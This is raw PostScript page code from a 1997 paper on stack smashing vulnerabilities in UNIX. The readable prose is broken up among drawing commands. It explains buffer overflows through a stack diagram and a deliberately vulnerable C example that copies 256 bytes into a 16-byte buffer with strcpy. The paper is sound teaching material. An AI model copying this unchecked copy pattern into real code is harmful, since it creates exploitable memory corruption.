0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5829 M 5850 5829 L 5850 5817 L 2848 5817 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6569 M 5850 6569 L 5850 5817 L 2848 5817 L 2848 6569 L 5850 6569 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6234 M 5852 6234 L 56 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6567 M 5852 6567 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4182 6371 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 4198 9719 M (argc) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9568 M 5852 9568 L 56 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4240 5942 M (bss) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 2848 5815 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 5848 9986 M 5848 5815 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9984 M 5852 9984 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5817 M 5852 5817 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 8567 M 5852 8567 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 8234 M 5852 8234 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 7901 M 5852 7901 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 7567 M 5852 7567 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6900 M 5852 6900 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 3993 6704 M (buffer2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 3993 7038 M (buffer1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4181 7371 M (sfp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4186 7704 M (ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4288 8038 M (a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4294 8371 M (b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4286 8788 M (c) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5767 M 1181 5594 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5767 M 7519 5594 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5588 M 7523 5588 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 3170 5457 M (Figure 7.1.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3884 5457 M ( - Example 7.1.a in user stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5163 M (8. Buffer Overflows) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4880 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1909 4880 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2177 4880 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2353 4880 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3325 4880 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4032 4880 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4505 4880 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5236 4880 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 4880 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5644 4880 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6292 4880 M (occurrence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7130 4880 M (recall ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4604 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1505 4604 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1721 4604 M (design, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 4604 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2500 4604 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3457 4604 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4107 4604 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4462 4604 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4724 4604 M (internally ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5411 4604 M (support ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5960 4604 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6490 4604 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 4604 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4328 M (initializing, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2036 4328 M (copying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2638 4328 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2844 4328 M (moving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3419 4328 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3763 4328 M (between ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 4328 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4590 4328 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4915 4328 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5583 4328 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5639 4328 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5919 4328 M (section ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6457 4328 M (5) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6540 4328 M (\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6747 4328 M (Below ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7248 4328 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4328 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4052 M (simple buffer overflow example using string arrays:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 3680 M 7523 3680 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3675 M 1181 3557 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3675 M 7519 3557 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 3573 M (1:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3573 M (void function\(char *str\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3556 M 1181 3452 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3556 M 7519 3452 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3468 M (2:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3468 M ( char buffer[16];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3451 M 1181 3347 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3451 M 7519 3347 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3363 M (3:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3346 M 1181 3242 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3346 M 7519 3242 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3258 M (4:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3258 M ( strcpy\(buffer,str\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3241 M 1181 3137 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3241 M 7519 3137 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3153 M (5:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3153 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3136 M 1181 3032 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3136 M 7519 3032 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3048 M (6:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3031 M 1181 2927 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3031 M 7519 2927 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2943 M (7:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2943 M (void main\(\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2926 M 1181 2822 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2926 M 7519 2822 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2838 M (8:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2838 M ( char large_string[256];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2821 M 1181 2717 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2821 M 7519 2717 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2733 M (9:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2733 M ( int i;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2716 M 1181 2612 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2716 M 7519 2612 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2628 M (10:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2611 M 1181 2507 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2611 M 7519 2507 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2523 M (11:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2523 M ( for\( i = 0; i < 255; i++\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2506 M 1181 2402 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2506 M 7519 2402 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2418 M (12:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2418 M ( large_string[i] = 'A';) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2401 M 1181 2297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2401 M 7519 2297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2313 M (13:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2313 M ( function\(large_string\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2296 M 1181 2178 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2296 M 7519 2178 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2208 M (14:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2208 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 2172 M 7523 2172 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3110 2079 M (Example 8.a - buffer overflow example) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 1667 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2160 1667 M (compiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2833 1667 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3127 1667 M (executed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3814 1667 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4071 1667 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4522 1667 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4890 1667 M (returns ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5407 1667 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5535 1667 M (segmentation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6476 1667 M (violation. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7204 1667 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1391 M (takes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1600 1391 M (place ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2000 1391 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2576 1391 M (function\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3576 1391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3625 1391 M (attempts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4238 1391 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4416 1391 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4788 1391 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5988 1391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6037 1391 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 6344 1391 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6944 1391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6993 1391 M (without ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 16 16 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1749 9848 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2414 9848 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2839 9848 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3639 9848 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3788 9848 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4588 9848 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4653 9848 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5171 9848 M (keeps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5615 9848 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6160 9848 M (until ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6529 9848 M (large_string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (exhausted, writing over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2809 9572 M (SFP, RET, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3809 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4091 9572 M (*str) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4491 9572 M ( \() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4589 9572 M (see figure 8.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5491 9572 M (\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9200 M 7523 9200 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9195 M 1181 5423 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9195 M 7519 5423 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 1373 9181 7327 5553 DOCLIPBOX n 1373 9181 M 7326 9181 L 7326 5554 L 1373 5554 L 1373 9181 L 7326 9181 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1373 9181 7327 5553 DOCLIPBOX n 1409 9158 M 3729 9158 L 3729 5935 L 1409 5935 L 1409 9158 L 3729 9158 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 2482 6389 M (bss) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6248 M 1399 6578 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 3735 6248 M 3735 6578 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 6252 M 3739 6252 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5925 M 1399 6255 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 3735 5925 M 3735 6255 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 7871 M 3739 7871 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9168 M 3735 9168 L 3735 9158 L 1399 9158 L GS 0.0000 0.0000 0.0000 0.7490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9158 M 3735 9158 L 3735 9148 L 1399 9148 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9148 M 3735 9148 L 3735 9138 L 1399 9138 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9138 M 3735 9138 L 3735 9131 L 1399 9131 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9131 M 3735 9131 L 3735 9121 L 1399 9121 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9121 M 3735 9121 L 3735 9108 L 1399 9108 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9108 M 3735 9108 L 3735 9101 L 1399 9101 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9101 M 3735 9101 L 3735 9091 L 1399 9091 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9091 M 3735 9091 L 3735 9081 L 1399 9081 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9081 M 3735 9081 L 3735 9071 L 1399 9071 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9071 M 3735 9071 L 3735 9061 L 1399 9061 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9061 M 3735 9061 L 3735 9051 L 1399 9051 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9051 M 3735 9051 L 3735 9041 L 1399 9041 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9041 M 3735 9041 L 3735 9031 L 1399 9031 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9031 M 3735 9031 L 3735 9021 L 1399 9021 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9021 M 3735 9021 L 3735 9011 L 1399 9011 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9011 M 3735 9011 L 3735 9001 L 1399 9001 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9005 M 3735 9005 L 3735 8991 L 1399 8991 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8991 M 3735 8991 L 3735 8981 L 1399 8981 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8985 M 3735 8985 L 3735 8975 L 1399 8975 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8975 M 3735 8975 L 3735 8961 L 1399 8961 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 